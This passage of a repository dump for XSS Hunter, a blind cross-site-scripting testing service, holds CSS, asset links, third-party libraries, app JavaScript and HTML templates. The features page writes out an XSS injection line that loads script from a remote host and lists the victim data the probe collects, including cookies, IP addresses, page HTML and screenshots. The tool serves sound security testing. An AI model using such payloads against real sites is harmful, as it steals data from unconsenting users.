position: relative; 782 | line-height: 12px; 783 | text-align: center; 784 | } 785 | } 786 | 787 | /* ---------------------------------- 788 | * btn-group & labels 789 | * ---------------------------------- */ 790 | .blank { 791 | display: none; 792 | } 793 | @media (max-width: 768px) { 794 | .blank { 795 | display: block; 796 | height: 15px; 797 | } 798 | } 799 | .site-footer { 800 | position: relative; 801 | z-index: 400; 802 | border-top: 1px dashed #AAB2BD; 803 | padding: 40px 0 20px; 804 | background-color: #f5f5f5; 805 | } 806 | .site-footer a, 807 | .site-footer .connect { 808 | color: #50c1e9; 809 | } 810 | .site-footer a:hover, 811 | .site-footer a:active { 812 | color: #50c1e9; 813 | text-decoration: none; 814 | } 815 | .site-footer .row .col-md-4 { 816 | margin-bottom: 20px; 817 | } 818 | .site-footer h3 { 819 | margin-bottom: 20px; 820 | font-weight: 600; 821 | font-size: 18px; 822 | } 823 | .site-footer ul { 824 | padding-left: 0; 825 | } 826 | .site-footer li { 827 | list-style: none; 828 | font-size: 14px; 829 | } 830 | .site-footer hr { 831 | margin: 20px 0; 832 | border: none; 833 | height: 1px; 834 | width: 100%; 835 | } 836 | .site-footer hr.dashed { 837 | border-top: 1px dashed #ccc; 838 | } 839 | .site-footer .icon { 840 | margin-right: 10px; 841 | font-size: 28px; 842 | } 843 | .site-footer form { 844 | padding: 0 !important; 845 | } 846 | .site-footer form label { 847 | font-size: 14px !important; 848 | font-weight: normal !important; 849 | } 850 | .site-footer input[type="email"] { 851 | margin-right: 10px; 852 | width: 75%; 853 | } 854 | .site-footer input[type="email"], 855 | .site-footer input[type="email"]:focus, 856 | .site-footer input[type="submit"], 857 | .site-footer input[type="submit"]:active, 858 | .site-footer input[type="submit"]:focus { 859 | border: none !important; 860 | } 861 | .site-footer .email, 862 | .site-footer .clear { 863 | float: left; 864 | } 865 | .site-footer .copyright p:last-child { 866 | margin-top: 10px; 867 | } 868 | .site-footer .copyright b { 869 | font-size: 16px; 870 | } 871 | .site-footer .download .download__infos { 872 | font-size: 18px; 873 | } 874 | .site-footer .download .btn { 875 | color: #000; 876 | } 877 | .site-footer .download .btn-primary { 878 | color: #fff; 879 | } 880 | -------------------------------------------------------------------------------- /gui/static/fonts/glyphicons-halflings-regular.eot: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandatoryprogrammer/xsshunter/e94d4ae389943db9a30901a6efc4d18c42c79732/gui/static/fonts/glyphicons-halflings-regular.eot -------------------------------------------------------------------------------- /gui/static/fonts/glyphicons-halflings-regular.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandatoryprogrammer/xsshunter/e94d4ae389943db9a30901a6efc4d18c42c79732/gui/static/fonts/glyphicons-halflings-regular.ttf -------------------------------------------------------------------------------- /gui/static/fonts/glyphicons-halflings-regular.woff: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandatoryprogrammer/xsshunter/e94d4ae389943db9a30901a6efc4d18c42c79732/gui/static/fonts/glyphicons-halflings-regular.woff -------------------------------------------------------------------------------- /gui/static/icons/apple-touch-icon-114x114.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandatoryprogrammer/xsshunter/e94d4ae389943db9a30901a6efc4d18c42c79732/gui/static/icons/apple-touch-icon-114x114.png -------------------------------------------------------------------------------- /gui/static/icons/apple-touch-icon-120x120.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandatoryprogrammer/xsshunter/e94d4ae389943db9a30901a6efc4d18c42c79732/gui/static/icons/apple-touch-icon-120x120.png -------------------------------------------------------------------------------- /gui/static/icons/apple-touch-icon-144x144.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandatoryprogrammer/xsshunter/e94d4ae389943db9a30901a6efc4d18c42c79732/gui/static/icons/apple-touch-icon-144x144.png -------------------------------------------------------------------------------- /gui/static/icons/apple-touch-icon-152x152.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandatoryprogrammer/xsshunter/e94d4ae389943db9a30901a6efc4d18c42c79732/gui/static/icons/apple-touch-icon-152x152.png -------------------------------------------------------------------------------- /gui/static/icons/apple-touch-icon-180x180.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandatoryprogrammer/xsshunter/e94d4ae389943db9a30901a6efc4d18c42c79732/gui/static/icons/apple-touch-icon-180x180.png -------------------------------------------------------------------------------- /gui/static/icons/apple-touch-icon-57x57.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandatoryprogrammer/xsshunter/e94d4ae389943db9a30901a6efc4d18c42c79732/gui/static/icons/apple-touch-icon-57x57.png -------------------------------------------------------------------------------- /gui/static/icons/apple-touch-icon-72x72.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandatoryprogrammer/xsshunter/e94d4ae389943db9a30901a6efc4d18c42c79732/gui/static/icons/apple-touch-icon-72x72.png -------------------------------------------------------------------------------- /gui/static/icons/apple-touch-icon-76x76.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandatoryprogrammer/xsshunter/e94d4ae389943db9a30901a6efc4d18c42c79732/gui/static/icons/apple-touch-icon-76x76.png -------------------------------------------------------------------------------- /gui/static/icons/apple-touch-icon.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandatoryprogrammer/xsshunter/e94d4ae389943db9a30901a6efc4d18c42c79732/gui/static/icons/apple-touch-icon.png -------------------------------------------------------------------------------- /gui/static/img/Jumbotron.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandatoryprogrammer/xsshunter/e94d4ae389943db9a30901a6efc4d18c42c79732/gui/static/img/Jumbotron.jpg -------------------------------------------------------------------------------- /gui/static/img/ascii-logo.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandatoryprogrammer/xsshunter/e94d4ae389943db9a30901a6efc4d18c42c79732/gui/static/img/ascii-logo.gif -------------------------------------------------------------------------------- /gui/static/img/automated_payload_generation.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandatoryprogrammer/xsshunter/e94d4ae389943db9a30901a6efc4d18c42c79732/gui/static/img/automated_payload_generation.png -------------------------------------------------------------------------------- /gui/static/img/automatic_page_recon.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandatoryprogrammer/xsshunter/e94d4ae389943db9a30901a6efc4d18c42c79732/gui/static/img/automatic_page_recon.png -------------------------------------------------------------------------------- /gui/static/img/bg.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandatoryprogrammer/xsshunter/e94d4ae389943db9a30901a6efc4d18c42c79732/gui/static/img/bg.png -------------------------------------------------------------------------------- /gui/static/img/bootflat-ui-kit.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandatoryprogrammer/xsshunter/e94d4ae389943db9a30901a6efc4d18c42c79732/gui/static/img/bootflat-ui-kit.jpg -------------------------------------------------------------------------------- /gui/static/img/canvas_rendered_screenshots.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandatoryprogrammer/xsshunter/e94d4ae389943db9a30901a6efc4d18c42c79732/gui/static/img/canvas_rendered_screenshots.png -------------------------------------------------------------------------------- /gui/static/img/correlated_injections.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandatoryprogrammer/xsshunter/e94d4ae389943db9a30901a6efc4d18c42c79732/gui/static/img/correlated_injections.png -------------------------------------------------------------------------------- /gui/static/img/custom_xss_shortdomain.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandatoryprogrammer/xsshunter/e94d4ae389943db9a30901a6efc4d18c42c79732/gui/static/img/custom_xss_shortdomain.png -------------------------------------------------------------------------------- /gui/static/img/design.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandatoryprogrammer/xsshunter/e94d4ae389943db9a30901a6efc4d18c42c79732/gui/static/img/design.png -------------------------------------------------------------------------------- /gui/static/img/divider.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandatoryprogrammer/xsshunter/e94d4ae389943db9a30901a6efc4d18c42c79732/gui/static/img/divider.png -------------------------------------------------------------------------------- /gui/static/img/easy_markdown_generation_reports.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandatoryprogrammer/xsshunter/e94d4ae389943db9a30901a6efc4d18c42c79732/gui/static/img/easy_markdown_generation_reports.png -------------------------------------------------------------------------------- /gui/static/img/fast.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandatoryprogrammer/xsshunter/e94d4ae389943db9a30901a6efc4d18c42c79732/gui/static/img/fast.png -------------------------------------------------------------------------------- /gui/static/img/favicon.ico: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandatoryprogrammer/xsshunter/e94d4ae389943db9a30901a6efc4d18c42c79732/gui/static/img/favicon.ico -------------------------------------------------------------------------------- /gui/static/img/feature-bootstrap.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandatoryprogrammer/xsshunter/e94d4ae389943db9a30901a6efc4d18c42c79732/gui/static/img/feature-bootstrap.png -------------------------------------------------------------------------------- /gui/static/img/feature-css.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandatoryprogrammer/xsshunter/e94d4ae389943db9a30901a6efc4d18c42c79732/gui/static/img/feature-css.png -------------------------------------------------------------------------------- /gui/static/img/feature-lightweight.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandatoryprogrammer/xsshunter/e94d4ae389943db9a30901a6efc4d18c42c79732/gui/static/img/feature-lightweight.png -------------------------------------------------------------------------------- /gui/static/img/feature-mobile.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandatoryprogrammer/xsshunter/e94d4ae389943db9a30901a6efc4d18c42c79732/gui/static/img/feature-mobile.png -------------------------------------------------------------------------------- /gui/static/img/footer-logo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandatoryprogrammer/xsshunter/e94d4ae389943db9a30901a6efc4d18c42c79732/gui/static/img/footer-logo.png -------------------------------------------------------------------------------- /gui/static/img/github.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandatoryprogrammer/xsshunter/e94d4ae389943db9a30901a6efc4d18c42c79732/gui/static/img/github.png -------------------------------------------------------------------------------- /gui/static/img/index.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandatoryprogrammer/xsshunter/e94d4ae389943db9a30901a6efc4d18c42c79732/gui/static/img/index.png -------------------------------------------------------------------------------- /gui/static/img/logo-index.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandatoryprogrammer/xsshunter/e94d4ae389943db9a30901a6efc4d18c42c79732/gui/static/img/logo-index.png -------------------------------------------------------------------------------- /gui/static/img/logo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandatoryprogrammer/xsshunter/e94d4ae389943db9a30901a6efc4d18c42c79732/gui/static/img/logo.png -------------------------------------------------------------------------------- /gui/static/img/manage_all_your_injections.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandatoryprogrammer/xsshunter/e94d4ae389943db9a30901a6efc4d18c42c79732/gui/static/img/manage_all_your_injections.png -------------------------------------------------------------------------------- /gui/static/img/photo-1.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandatoryprogrammer/xsshunter/e94d4ae389943db9a30901a6efc4d18c42c79732/gui/static/img/photo-1.jpg -------------------------------------------------------------------------------- /gui/static/img/photo-2.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandatoryprogrammer/xsshunter/e94d4ae389943db9a30901a6efc4d18c42c79732/gui/static/img/photo-2.jpg -------------------------------------------------------------------------------- /gui/static/img/photo-3.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandatoryprogrammer/xsshunter/e94d4ae389943db9a30901a6efc4d18c42c79732/gui/static/img/photo-3.jpg -------------------------------------------------------------------------------- /gui/static/img/photo-4.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandatoryprogrammer/xsshunter/e94d4ae389943db9a30901a6efc4d18c42c79732/gui/static/img/photo-4.jpg -------------------------------------------------------------------------------- /gui/static/img/prototyping.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandatoryprogrammer/xsshunter/e94d4ae389943db9a30901a6efc4d18c42c79732/gui/static/img/prototyping.png -------------------------------------------------------------------------------- /gui/static/img/report_email_alerts.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandatoryprogrammer/xsshunter/e94d4ae389943db9a30901a6efc4d18c42c79732/gui/static/img/report_email_alerts.png -------------------------------------------------------------------------------- /gui/static/img/share.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandatoryprogrammer/xsshunter/e94d4ae389943db9a30901a6efc4d18c42c79732/gui/static/img/share.gif -------------------------------------------------------------------------------- /gui/static/img/slider1.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandatoryprogrammer/xsshunter/e94d4ae389943db9a30901a6efc4d18c42c79732/gui/static/img/slider1.jpg -------------------------------------------------------------------------------- /gui/static/img/slider2.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandatoryprogrammer/xsshunter/e94d4ae389943db9a30901a6efc4d18c42c79732/gui/static/img/slider2.jpg -------------------------------------------------------------------------------- /gui/static/img/slider3.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandatoryprogrammer/xsshunter/e94d4ae389943db9a30901a6efc4d18c42c79732/gui/static/img/slider3.jpg -------------------------------------------------------------------------------- /gui/static/img/thumbnail-1.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandatoryprogrammer/xsshunter/e94d4ae389943db9a30901a6efc4d18c42c79732/gui/static/img/thumbnail-1.jpg -------------------------------------------------------------------------------- /gui/static/img/thumbnail-2.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandatoryprogrammer/xsshunter/e94d4ae389943db9a30901a6efc4d18c42c79732/gui/static/img/thumbnail-2.jpg -------------------------------------------------------------------------------- /gui/static/img/thumbnail-3.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandatoryprogrammer/xsshunter/e94d4ae389943db9a30901a6efc4d18c42c79732/gui/static/img/thumbnail-3.jpg -------------------------------------------------------------------------------- /gui/static/img/thumbnail-4.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandatoryprogrammer/xsshunter/e94d4ae389943db9a30901a6efc4d18c42c79732/gui/static/img/thumbnail-4.jpg -------------------------------------------------------------------------------- /gui/static/img/together.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandatoryprogrammer/xsshunter/e94d4ae389943db9a30901a6efc4d18c42c79732/gui/static/img/together.png -------------------------------------------------------------------------------- /gui/static/img/wild_flowers.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandatoryprogrammer/xsshunter/e94d4ae389943db9a30901a6efc4d18c42c79732/gui/static/img/wild_flowers.png -------------------------------------------------------------------------------- /gui/static/img/xss-hunter-report.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandatoryprogrammer/xsshunter/e94d4ae389943db9a30901a6efc4d18c42c79732/gui/static/img/xss-hunter-report.png -------------------------------------------------------------------------------- /gui/static/img/xss_frontpage_alert.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandatoryprogrammer/xsshunter/e94d4ae389943db9a30901a6efc4d18c42c79732/gui/static/img/xss_frontpage_alert.png -------------------------------------------------------------------------------- /gui/static/js/clipboard.min.js: -------------------------------------------------------------------------------- 1 | /*! 2 | * clipboard.js v1.5.5 3 | * https://zenorocha.github.io/clipboard.js 4 | * 5 | * Licensed MIT © Zeno Rocha 6 | */ 7 | !function(t){if("object"==typeof exports&&"undefined"!=typeof module)module.exports=t();else if("function"==typeof define&&define.amd)define([],t);else{var e;e="undefined"!=typeof window?window:"undefined"!=typeof global?global:"undefined"!=typeof self?self:this,e.Clipboard=t()}}(function(){var t,e,n;return function t(e,n,r){function o(a,c){if(!n[a]){if(!e[a]){var s="function"==typeof require&&require;if(!c&&s)return s(a,!0);if(i)return i(a,!0);var u=new Error("Cannot find module '"+a+"'");throw u.code="MODULE_NOT_FOUND",u}var l=n[a]={exports:{}};e[a][0].call(l.exports,function(t){var n=e[a][1][t];return o(n?n:t)},l,l.exports,t,e,n,r)}return n[a].exports}for(var i="function"==typeof require&&require,a=0;ar;r++)n[r].fn.apply(n[r].ctx,e);return this},off:function(t,e){var n=this.e||(this.e={}),r=n[t],o=[];if(r&&e)for(var i=0,a=r.length;a>i;i++)r[i].fn!==e&&r[i].fn._!==e&&o.push(r[i]);return o.length?n[t]=o:delete n[t],this}},e.exports=r},{}],8:[function(t,e,n){"use strict";function r(t){return t&&t.__esModule?t:{"default":t}}function o(t,e){if(!(t instanceof e))throw new TypeError("Cannot call a class as a function")}n.__esModule=!0;var i=function(){function t(t,e){for(var n=0;narticle,aside,figcaption,figure,footer,header,hgroup,nav,section{display:block}mark{background:#FF0;color:#000}"; 6 | c=d.insertBefore(c.lastChild,d.firstChild);b.hasCSS=!!c}g||t(a,b);return a}var k=l.html5||{},s=/^<|^(?:button|map|select|textarea|object|iframe|option|optgroup)$/i,r=/^(?:a|b|code|div|fieldset|h1|h2|h3|h4|h5|h6|i|label|li|ol|p|q|span|strong|style|table|tbody|td|th|tr|ul)$/i,j,o="_html5shiv",h=0,n={},g;(function(){try{var a=f.createElement("a");a.innerHTML="";j="hidden"in a;var b;if(!(b=1==a.childNodes.length)){f.createElement("a");var c=f.createDocumentFragment();b="undefined"==typeof c.cloneNode|| 7 | "undefined"==typeof c.createDocumentFragment||"undefined"==typeof c.createElement}g=b}catch(d){g=j=!0}})();var e={elements:k.elements||"abbr article aside audio bdi canvas data datalist details figcaption figure footer header hgroup mark meter nav output progress section summary time video",version:"3.6.2pre",shivCSS:!1!==k.shivCSS,supportsUnknownElements:g,shivMethods:!1!==k.shivMethods,type:"default",shivDocument:q,createElement:p,createDocumentFragment:function(a,b){a||(a=f);if(g)return a.createDocumentFragment(); 8 | for(var b=b||i(a),c=b.frag.cloneNode(),d=0,e=m(),h=e.length;d -1 || ua.indexOf('Presto') > -1) { 40 | return // Opera, which might pretend to be IE 41 | } 42 | var emulated = emulatedIEMajorVersion() 43 | if (emulated === null) { 44 | return // Not IE 45 | } 46 | var nonEmulated = actualNonEmulatedIEMajorVersion() 47 | 48 | if (emulated !== nonEmulated) { 49 | window.alert('WARNING: You appear to be using IE' + nonEmulated + ' in IE' + emulated + ' emulation mode.\nIE emulation modes can behave significantly differently from ACTUAL older versions of IE.\nPLEASE DON\'T FILE BOOTSTRAP BUGS based on testing in IE emulation modes!') 50 | } 51 | })(); 52 | -------------------------------------------------------------------------------- /gui/static/js/ie10-viewport-bug-workaround.js: -------------------------------------------------------------------------------- 1 | /*! 2 | * IE10 viewport hack for Surface/desktop Windows 8 bug 3 | * Copyright 2014-2015 Twitter, Inc. 4 | * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) 5 | */ 6 | 7 | // See the Getting Started docs for more information: 8 | // http://getbootstrap.com/getting-started/#support-ie10-width 9 | 10 | (function () { 11 | 'use strict'; 12 | 13 | if (navigator.userAgent.match(/IEMobile\/10\.0/)) { 14 | var msViewportStyle = document.createElement('style') 15 | msViewportStyle.appendChild( 16 | document.createTextNode( 17 | '@-ms-viewport{width:auto!important}' 18 | ) 19 | ) 20 | document.querySelector('head').appendChild(msViewportStyle) 21 | } 22 | 23 | })(); 24 | -------------------------------------------------------------------------------- /gui/static/js/main.js: -------------------------------------------------------------------------------- 1 | /* 2 | * JavaScript for the general website 3 | */ 4 | $( document ).ready(function() { 5 | $( ".loading_bar" ).fadeOut(); 6 | prettyPrint(); 7 | }); 8 | 9 | function hide_loading_bar() { 10 | $( ".loading_bar" ).fadeOut(); 11 | } 12 | 13 | function show_loading_bar() { 14 | $( ".loading_bar" ).fadeIn(); 15 | } 16 | 17 | function set_loading_bar() { 18 | 19 | } 20 | 21 | /* 22 | * Main XSS Hunter JavaScript 23 | * ( for the actual app ) 24 | */ 25 | API_SERVER = "//" + document.domain.toString().replace( "www", "api" ); 26 | CSRF_TOKEN = ""; 27 | USER = {}; 28 | 29 | function api_request( method, path, data, callback ) { 30 | show_loading_bar(); 31 | header_data = {}; 32 | 33 | if( CSRF_TOKEN != "" ) { 34 | header_data["X-CSRF-Token"] = CSRF_TOKEN; 35 | } 36 | 37 | if( method == "GET" ) { 38 | content_type = "application/x-www-form-urlencoded" 39 | send_data = $.param( data ); 40 | } else { 41 | content_type = "application/json; charset=utf-8" 42 | send_data = JSON.stringify( data ); 43 | } 44 | 45 | $.ajax({ 46 | url: API_SERVER + path, 47 | type: method, 48 | headers: header_data, 49 | data: send_data, 50 | xhrFields: { 51 | withCredentials: true 52 | }, 53 | contentType: content_type, 54 | dataType: "json", 55 | success: function (data) { 56 | hide_loading_bar(); 57 | callback( data ); 58 | }, 59 | error: function (data) { 60 | hide_loading_bar(); 61 | callback({ 62 | "error": true, 63 | }); 64 | } 65 | }); 66 | } 67 | -------------------------------------------------------------------------------- /gui/static/js/navbar.js: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandatoryprogrammer/xsshunter/e94d4ae389943db9a30901a6efc4d18c42c79732/gui/static/js/navbar.js -------------------------------------------------------------------------------- /gui/static/js/register.js: -------------------------------------------------------------------------------- 1 | $( ".signup_button" ).click( function() { 2 | register_account(); 3 | }); 4 | 5 | $(function() { 6 | $('input[id=domain]').keyup(function() { 7 | if (this.value.match(/[^a-zA-Z0-9]/g)) { 8 | this.value = this.value.replace(/[^a-zA-Z0-9]/g, ''); 9 | } 10 | }); 11 | }); 12 | 13 | function register_account() { 14 | USER = {} 15 | USER.username = $( "#username" ).val(); 16 | USER.full_name = $( "#full_name" ).val(); 17 | USER.domain = $( "#domain" ).val(); 18 | USER.pgp_key = $( "#pgp-key" ).val(); 19 | USER.email = $( "#email" ).val(); 20 | USER.password = $( "#password" ).val(); 21 | USER.invite_code = $( "#invite_code" ).val(); 22 | api_request( "POST", "/api/register", USER, function( response ) { 23 | if( response["success"] == true ) { 24 | CSRF_TOKEN = response["csrf_token"]; 25 | localStorage.setItem( "CSRF_TOKEN", CSRF_TOKEN ); 26 | window.location = "/app"; 27 | } else { 28 | $( ".bad_signup_text_fields" ).text( response["invalid_fields"] ); 29 | $( ".bad_signup_dialogue" ).fadeIn(); 30 | setTimeout( function() { 31 | $( ".bad_signup_dialogue" ).fadeOut(); 32 | }, 5000); 33 | } 34 | }); 35 | } 36 | $('[data-toggle="popover"]').popover({trigger: 'hover','placement': 'top'}); 37 | -------------------------------------------------------------------------------- /gui/static/js/respond.min.js: -------------------------------------------------------------------------------- 1 | /*! matchMedia() polyfill - Test a CSS media type/query in JS. Authors & copyright (c) 2012: Scott Jehl, Paul Irish, Nicholas Zakas. Dual MIT/BSD license */ 2 | /*! NOTE: If you're already including a window.matchMedia polyfill via Modernizr or otherwise, you don't need this part */ 3 | window.matchMedia=window.matchMedia||function(a){"use strict";var c,d=a.documentElement,e=d.firstElementChild||d.firstChild,f=a.createElement("body"),g=a.createElement("div");return g.id="mq-test-1",g.style.cssText="position:absolute;top:-100em",f.style.background="none",f.appendChild(g),function(a){return g.innerHTML='­',d.insertBefore(f,e),c=42===g.offsetWidth,d.removeChild(f),{matches:c,media:a}}}(document); 4 | 5 | /*! Respond.js v1.1.0: min/max-width media query polyfill. (c) Scott Jehl. MIT/GPLv2 Lic. j.mp/respondjs */ 6 | (function(a){"use strict";function x(){u(!0)}var b={};if(a.respond=b,b.update=function(){},b.mediaQueriesSupported=a.matchMedia&&a.matchMedia("only all").matches,!b.mediaQueriesSupported){var q,r,t,c=a.document,d=c.documentElement,e=[],f=[],g=[],h={},i=30,j=c.getElementsByTagName("head")[0]||d,k=c.getElementsByTagName("base")[0],l=j.getElementsByTagName("link"),m=[],n=function(){for(var b=0;l.length>b;b++){var c=l[b],d=c.href,e=c.media,f=c.rel&&"stylesheet"===c.rel.toLowerCase();d&&f&&!h[d]&&(c.styleSheet&&c.styleSheet.rawCssText?(p(c.styleSheet.rawCssText,d,e),h[d]=!0):(!/^([a-zA-Z:]*\/\/)/.test(d)&&!k||d.replace(RegExp.$1,"").split("/")[0]===a.location.host)&&m.push({href:d,media:e}))}o()},o=function(){if(m.length){var b=m.shift();v(b.href,function(c){p(c,b.href,b.media),h[b.href]=!0,a.setTimeout(function(){o()},0)})}},p=function(a,b,c){var d=a.match(/@media[^\{]+\{([^\{\}]*\{[^\}\{]*\})+/gi),g=d&&d.length||0;b=b.substring(0,b.lastIndexOf("/"));var h=function(a){return a.replace(/(url\()['"]?([^\/\)'"][^:\)'"]+)['"]?(\))/g,"$1"+b+"$2$3")},i=!g&&c;b.length&&(b+="/"),i&&(g=1);for(var j=0;g>j;j++){var k,l,m,n;i?(k=c,f.push(h(a))):(k=d[j].match(/@media *([^\{]+)\{([\S\s]+?)$/)&&RegExp.$1,f.push(RegExp.$2&&h(RegExp.$2))),m=k.split(","),n=m.length;for(var o=0;n>o;o++)l=m[o],e.push({media:l.split("(")[0].match(/(only\s+)?([a-zA-Z]+)\s?/)&&RegExp.$2||"all",rules:f.length-1,hasquery:l.indexOf("(")>-1,minw:l.match(/\(\s*min\-width\s*:\s*(\s*[0-9\.]+)(px|em)\s*\)/)&&parseFloat(RegExp.$1)+(RegExp.$2||""),maxw:l.match(/\(\s*max\-width\s*:\s*(\s*[0-9\.]+)(px|em)\s*\)/)&&parseFloat(RegExp.$1)+(RegExp.$2||"")})}u()},s=function(){var a,b=c.createElement("div"),e=c.body,f=!1;return b.style.cssText="position:absolute;font-size:1em;width:1em",e||(e=f=c.createElement("body"),e.style.background="none"),e.appendChild(b),d.insertBefore(e,d.firstChild),a=b.offsetWidth,f?d.removeChild(e):e.removeChild(b),a=t=parseFloat(a)},u=function(b){var h="clientWidth",k=d[h],m="CSS1Compat"===c.compatMode&&k||c.body[h]||k,n={},o=l[l.length-1],p=(new Date).getTime();if(b&&q&&i>p-q)return a.clearTimeout(r),r=a.setTimeout(u,i),void 0;q=p;for(var v in e)if(e.hasOwnProperty(v)){var w=e[v],x=w.minw,y=w.maxw,z=null===x,A=null===y,B="em";x&&(x=parseFloat(x)*(x.indexOf(B)>-1?t||s():1)),y&&(y=parseFloat(y)*(y.indexOf(B)>-1?t||s():1)),w.hasquery&&(z&&A||!(z||m>=x)||!(A||y>=m))||(n[w.media]||(n[w.media]=[]),n[w.media].push(f[w.rules]))}for(var C in g)g.hasOwnProperty(C)&&g[C]&&g[C].parentNode===j&&j.removeChild(g[C]);for(var D in n)if(n.hasOwnProperty(D)){var E=c.createElement("style"),F=n[D].join("\n");E.type="text/css",E.media=D,j.insertBefore(E,o.nextSibling),E.styleSheet?E.styleSheet.cssText=F:E.appendChild(c.createTextNode(F)),g.push(E)}},v=function(a,b){var c=w();c&&(c.open("GET",a,!0),c.onreadystatechange=function(){4!==c.readyState||200!==c.status&&304!==c.status||b(c.responseText)},4!==c.readyState&&c.send(null))},w=function(){var b=!1;try{b=new a.XMLHttpRequest}catch(c){b=new a.ActiveXObject("Microsoft.XMLHTTP")}return function(){return b}}();n(),b.update=n,a.addEventListener?a.addEventListener("resize",x,!1):a.attachEvent&&a.attachEvent("onresize",x)}})(this); 7 | -------------------------------------------------------------------------------- /gui/static/video/xss_the_wrong_way.mp4: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandatoryprogrammer/xsshunter/e94d4ae389943db9a30901a6efc4d18c42c79732/gui/static/video/xss_the_wrong_way.mp4 -------------------------------------------------------------------------------- /gui/static/video/xss_the_wrong_way.webm: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/mandatoryprogrammer/xsshunter/e94d4ae389943db9a30901a6efc4d18c42c79732/gui/static/video/xss_the_wrong_way.webm -------------------------------------------------------------------------------- /gui/templates/contact.htm: -------------------------------------------------------------------------------- 1 | {% include header.htm %} 2 | 3 | {% include navbar.htm %} 4 | 5 |
6 | 7 | Message Sent!
8 | Your message has been sent, thank you for your interest in XSSHunter! Please allow 48 hours for a response. 9 |
10 | 11 |
12 |
13 |
14 |
15 |

Contact Us

16 |
17 |
18 |
19 | 20 | 21 |
22 | 23 | 24 |
25 | 26 | 27 | 28 |
29 |
30 |
31 |
32 | 33 | 34 | 35 | {% include footer.htm %} 36 | -------------------------------------------------------------------------------- /gui/templates/features.htm: -------------------------------------------------------------------------------- 1 | {% include header.htm %} 2 | 3 | {% include navbar.htm %} 4 | 5 |
6 |
7 |
8 |
9 | 10 |

What is XSS Hunter?


11 |

12 | XSS Hunter allows you to find all kinds of cross-site scripting vulnerabilities, including the often-missed blind XSS. The service works by hosting specialized XSS probes which, upon firing, scan the page and send information about the vulnerable page to the XSS Hunter service. 13 |

14 | Upon signing up you will create a special {{domain}} short domain such as yoursubdomain.{{domain}} which identifies your XSS vulnerabilities and hosts your payload. You then use this subdomain in your XSS testing, using injection attempts such as "><script src=//yoursubdomain.{{domain}}></script>. XSS Hunter will automatically serve up XSS probes and collect the resulting information when they fire.

15 |

Managed XSS Payload Fires


16 |

17 | 18 |
19 | Easily manage all of your XSS payload fires in one spot! All vulnerabilities are recorded in your XSS Hunter control panel. Even the often-missed blind XSS payload fires which occur in other victim's browsers in place such as backend administrative panels, logging systems, and more are all recorded. 20 |

21 |
22 | 23 |

Powerful XSS Payload Probes


24 |

25 | 26 |
27 | All XSS Hunter payloads work as probes to gather information on where they have fired. The following information is collected upon a payload firing: 28 |

29 | The vulnerable page's URI 30 |
31 | Origin of Execution 32 |
33 | The Victim's IP Address 34 |
35 | The Page Referer 36 |
37 | The Victim's User Agent 38 |
39 | All Non-HTTP-Only Cookies 40 |
41 | The Page's Full HTML DOM 42 |
43 | Full Screenshot of the Affected Page 44 |
45 | Responsible HTTP Request (If an XSS Hunter compatible tool is used) 46 |
47 | 48 |

49 |
50 | 51 |

Full Page Screenshots


